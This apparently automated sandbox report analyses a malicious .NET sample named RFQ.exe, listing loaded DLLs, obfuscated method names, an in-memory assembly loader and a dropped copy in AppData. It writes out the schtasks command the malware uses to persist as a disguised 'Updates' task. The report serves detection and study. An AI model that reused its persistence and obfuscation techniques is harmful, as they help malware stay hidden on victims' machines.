Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\RFQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RFQ.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RFQ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: RFQ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: xuwv.pdbSHA256 source: RFQ.exe, wOPQRmK.exe.0.dr
Source:	Binary string: W.pdb4 source: RFQ.exe, 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xuwv.pdb source: RFQ.exe, wOPQRmK.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, mWTkF6PlrHgZZRkFic.cs

.Net Code: XGqiaGKND6 System.Reflection.Assembly.Load(byte[])

Source: RFQ.exe

Static PE information: 0xDA4CCDA2 [Mon Jan 21 15:47:46 2086 UTC]

Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_009746BC push edx; retf	0_2_009746C2
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_009746B8 push edx; retf	0_2_009746BA
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_00974780 push ebp; retf	0_2_00974782
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_009747B1 push esi; retf	0_2_009747B2
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_009747B9 push esi; retf	0_2_009747BA
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 0_2_00974779 push esi; retf	0_2_0097477A
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00404B3E push 00000013h; ret	7_2_00404B45
Source: C:\Users\user\Desktop\RFQ.exe	Code function: 7_2_00401BAC push ecx; iretd	7_2_00401BAD

Source: RFQ.exe	Static PE information: section name: .text entropy: 7.895502760525206
Source: wOPQRmK.exe.0.dr	Static PE information: section name: .text entropy: 7.895502760525206

Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, xDXac2eAfgFKtVHSgV.cs	High entropy of concatenated method names: 'FEyKj6LWQu', 'G7pKILBwXE', 'HOpKCRRlLD', 'vfKKtgYiUm', 'WLOKPxmGa4', 'WNUC34QfRI', 'cscCdoobgK', 'YQSCqu6e2j', 'ftoCs9csix', 'd6aCLDZtu7'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, CyAnPIisoBJv0gP17O.cs	High entropy of concatenated method names: 'yZkBt1Dqe4', 'wwgBPCB70p', 'eBWBva4lOM', 'YreBSTSVWO', 'hi6Bg1uhDX', 'zc2B1AfgFK', 'QHOcJgqj2BcJcMnE8K', 'XxVdFvrUOfVkKnGEGW', 'DwZBBHmNvL', 'dxYBrR35oD'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, mWTkF6PlrHgZZRkFic.cs	High entropy of concatenated method names: 'HjqrjMOlbG', 'z5ErN43KX0', 'R8mrIaFjqI', 'Um9rlIRsKq', 'D1brCAsYmS', 'LLurKtM5s5', 'DtfrtytoL4', 'iHgrPpDaFY', 'su8r4pVqGh', 'BHTrvbU3f6'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, NjWQ95VuBSEdgg5VG0.cs	High entropy of concatenated method names: 'mlnaNnDZ9', 'DrfZPOhb8', 'RSax29bBQ', 'mkUFsDR94', 'm8UkfaVgW', 'uxeAi8nfQ', 'GalbICsmlInP0meso2', 'RAQYpadqNL519UDMg4', 'rDQJxOLpX', 'DjlQwHFyL'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, LKCCRdXSZesTGW5RgY.cs	High entropy of concatenated method names: 'XGHtwqP0Aw', 'yj4t7DrxBp', 'YhrtaQjQi0', 'SfVtZanC8j', 'nH1tn2st6d', 'gWFtx9lwEe', 'evMtFDrXOK', 'd4jtUutI0e', 'CAPtkHdr4E', 'UGItARAOGi'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, XLUF1S08JYhdBZuEyA.cs	High entropy of concatenated method names: 'TiQgqvRqxr', 'EUPgsFL6JK', 'j0XgLI5r5S', 'D1qgodkVdy', 'WjN18YpkxpT9iZKWAmD', 'RS2i5wpiRM6JBEikeBp', 'TdDyBdp8H9wxh1mNGbu', 'QHJ4b4ptGVUMAK9ok2n'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, nVWOJZAuRXVchli61u.cs	High entropy of concatenated method names: 'K2vCnOqqAD', 'h0UCFS9Z7E', 'pf7lDGO8Al', 'MsrlmW5Icp', 'mQXl2ZegPb', 'VvSlW1Bm7i', 'X5clpRmCa9', 'csplHOtmDO', 'HI3lX83flb', 'keKlYe0MvD'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, FeFe64Il9JAhvit47l.cs	High entropy of concatenated method names: 'Dispose', 'Bg6BLVt3L1', 'cMmV85aAlo', 'bqbytoghF0', 'YKaBos3eLo', 'Jb8BzTUqb2', 'ProcessDialogKey', 'uvEVG9HEk8', 'sVEVB7LrYh', 'Ou9VVUV67G'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, so6Ty156opnmuLjAur.cs	High entropy of concatenated method names: 'jjH6UDxKHR', 'u4V6kFmKfT', 's4R6e8purv', 'VSj68VMln5', 'sdJ6muKOvf', 'fgV62gSgKV', 'Pep6poVfVG', 'JfJ6HX1JnX', 'Uax6YUphDJ', 'S8B6fhDkjZ'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, KlT5bcBi6yC08c6omXk.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CxOR99RKSZ', 'JyxRQ0h5oa', 'P65REI7xfQ', 'z1cRRDQ9Os', 'tu8RbMYxkN', 'FMMRuV2ONk', 'P07RhrL998'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, hMyOyyzImVSAB4jG54.cs	High entropy of concatenated method names: 'FV2QxUZQOh', 'RMIQU4P0lQ', 'jSFQkyobfS', 'DiGQe1Xim1', 'orqQ8BMCAk', 'I5EQmrujZU', 'jr5Q2cVE4s', 'Od5QhZq4qM', 'btJQwOxEmS', 'Bq9Q7E1eFW'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, t9HEk8L9VE7LrYhfu9.cs	High entropy of concatenated method names: 'zbU9eMQNul', 'vLy98I123C', 'vl79DNDibi', 'DxY9m3X8Pr', 'j9u92WEDSe', 'gcL9WKAMmw', 'lxE9pD11mL', 'u4K9HW14Id', 'k939XrgBn0', 'h9a9YwN7W3'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, O9kNNHBGnpj90LHUe9u.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'V5EQfWVaD4', 'TfpQy6NO5x', 'sTUQ54d553', 'OZ5QMhvNZo', 'DZkQ0GEurR', 'EWLQcrZtHH', 'OwyQTLFnvK'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, aOyPeoqTong6Vt3L1o.cs	High entropy of concatenated method names: 'Hrh9gKccjK', 'cIF9O31tlF', 'QIt995v0a5', 'npU9EJLGrv', 'frQ9bd62pO', 'EFd9hfQExc', 'Dispose', 'CjhJNIfyOB', 'NCZJINwQQu', 'GsIJloqvRQ'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, F2rFyjkBWa4lOMoreT.cs	High entropy of concatenated method names: 'OKdlZpTA71', 'bcvlxpYYdm', 'lHKlUJlRdT', 'hmClkGnV04', 'sJflg8osCX', 'm9Tl1AL2se', 'jXqlOojkQk', 'uP7lJBui1X', 'z1jl9eHq1P', 'IwClQFleTl'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, wJMpPZBBPxgJc1KJkl5.cs	High entropy of concatenated method names: 'M0pQoQei1q', 'br0QzBI0mW', 'zyiEGIgcBq', 'ELDEBLpCXs', 'aItEVrHhGX', 'hhpErjrExI', 'd4fEiE6qWT', 'PiyEjVBHAl', 'H19ENJrUBW', 'KW8EImf5aH'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, yl35htMje5uhYkTQyY.cs	High entropy of concatenated method names: 'dJ8gYBf0JZ', 'isigyVX57Z', 'e5PgMsCXjR', 'A4Eg0UrdY9', 'GwJg872bpd', 'PFYgDV9JFk', 'loHgmVT1lV', 'pUGg2Q6ZkB', 'opAgWPS0gu', 'NkSgpKem3q'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, GB2jDclhkICy6Z242W.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Wb8VLhv7BW', 'QpfVoKkBvN', 'f6HVzTmmRk', 'bN6rGDe2yC', 'QQxrBeMntU', 'RTsrVuJgWu', 'dIJrrtqXuI', 'RSCY3FeQQ4XFBlGicCq'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, DV67GUoIkveZuixg77.cs	High entropy of concatenated method names: 'IMmQlvh45s', 'SSCQC6e3TO', 'qQhQKn2ZAd', 'CKUQtJOOcV', 'PPKQ9Q81pS', 'ddOQPYVx5g', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, YvVk9YcjJAfQS3TTiT.cs	High entropy of concatenated method names: 'ToString', 'j7J1fqsa6L', 'cnm184RPcJ', 'Qse1DJGPN7', 'rBa1m1ZOjh', 'kSa12nVaHx', 'w101WH2OxM', 'f681pF3kDg', 'HNx1HESjoP', 'SIq1XbTPff'
Source: 0.2.RFQ.exe.6d20000.6.raw.unpack, E1Dqe4UuwgCB70pur6.cs	High entropy of concatenated method names: 'XeLIMQOeiU', 'GViI0wLjY0', 'tCbIcLVDJM', 'o4GIT47dwJ', 'FZyI3QlHlN', 'Uc3IdHNPKB', 'DT0IqLjMqy', 'rnmIsEIGaN', 'VOdILpFXVR', 'Pc8Iooa3xv'

Source: C:\Users\user\Desktop\RFQ.exe

File created: C:\Users\user\AppData\Roaming\wOPQRmK.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RFQ.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
